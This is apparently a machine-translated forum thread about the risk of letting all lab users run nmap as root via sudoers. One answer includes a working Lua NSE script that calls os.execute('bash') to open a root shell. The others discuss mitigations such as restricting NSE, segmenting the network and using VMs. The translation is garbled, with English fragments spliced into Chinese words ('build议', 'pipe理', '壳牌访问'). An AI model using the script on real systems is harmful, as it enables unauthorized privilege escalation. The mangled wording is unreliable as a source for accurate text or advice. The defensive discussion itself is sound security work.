在我们的大学,我们在“networking实验室”有一些电脑,它们被configuration为允许每个人通过/ etc / sudoers以root身份运行nmap。 这可能是一个安全漏洞吗?
我刚刚发现nmap让用户运行任意的lua脚本。 你可以用这个lua脚本得到一个root shell:
description = [[]] author = "" license = "" categories = {} portrule = function(host, port) os.execute("bash") return false end action = function(host, port) end
有一些潜在的漏洞方面:
如果用户能够扫描生产型networking,则可能导致各种服务和系统的拒绝服务问题。 然而这并不是特别的以root身份运行nmap的漏洞。 这只是工具的性质。 沙盒扫描的networking相应,你会没事的。
如果nmap应用程序本身存在安全漏洞,那么可能会有漏洞。 检查bugtraq和这些完整的公开邮件列表。 确保你使用的是稳定的nmap的最新版本(我不build议使用beta版本的任何东西严重),你应该没问题。
最后,如果有人能够植入可由nmap脚本引擎(NSE)运行的恶意Lua脚本,那么该脚本就有可能以root身份运行。 壳牌访问可以通过NSE获得; 详情请看Kim的回答 。
在这三个中,第二个和第三个是以root身份运行的。 这些问题仍将作为一般用户保留 ; 这些漏洞将被限制在一般用户访问的范围内。
你可以限制可以通过sudoconfiguration文件使用的nmap选项,通过不允许用户使用NSE来尝试和缓解#3。 当然,如果他们需要访问NSE来完成他们的教育目标,那么你可能不得不接受这个风险。
让用户使用计算机可能是一个安全漏洞。 大多数“黑客”都是内部工作。
无论如何,nmap可能是一个安全问题,无论如何。 锤子build造房屋,还在头骨上打洞。 取决于用户和意图。
在学校nmap的机会将被99%的时间用于学习环境。 我想你几乎不得不允许它的一些根访问,因为你玩的端口低于1024。
问题是这些可以用来“审计”networking上的其他计算机。
如果要限制损坏,请考虑:a)将交换机上的实验室划分为能够对位于实验室外的其他计算机进行扫描,或者select性地允许在实验室之外的服务进行扫描或访问(如果这些是常规使用实验室的话)。 B)在虚拟机上运行nmap,学生可以configuration和自定义,但可以轻松地擦除,也可以通过虚拟化的学生服务器提供给他们更多的访问权限。 这使您可以更好地集中pipe理,并且可以在Windows或实验室计算机上的任何Linux环境中使用XLiveCD进行操作。
Nmap也可以在任何networking上施加压力。 如果你有一个20台机器的实验室,同时端口扫描其他机器,你将通过交换机推动大量的stream量…希望他们已经得到了处理它的马力,或者你会看到一些奇怪的东西。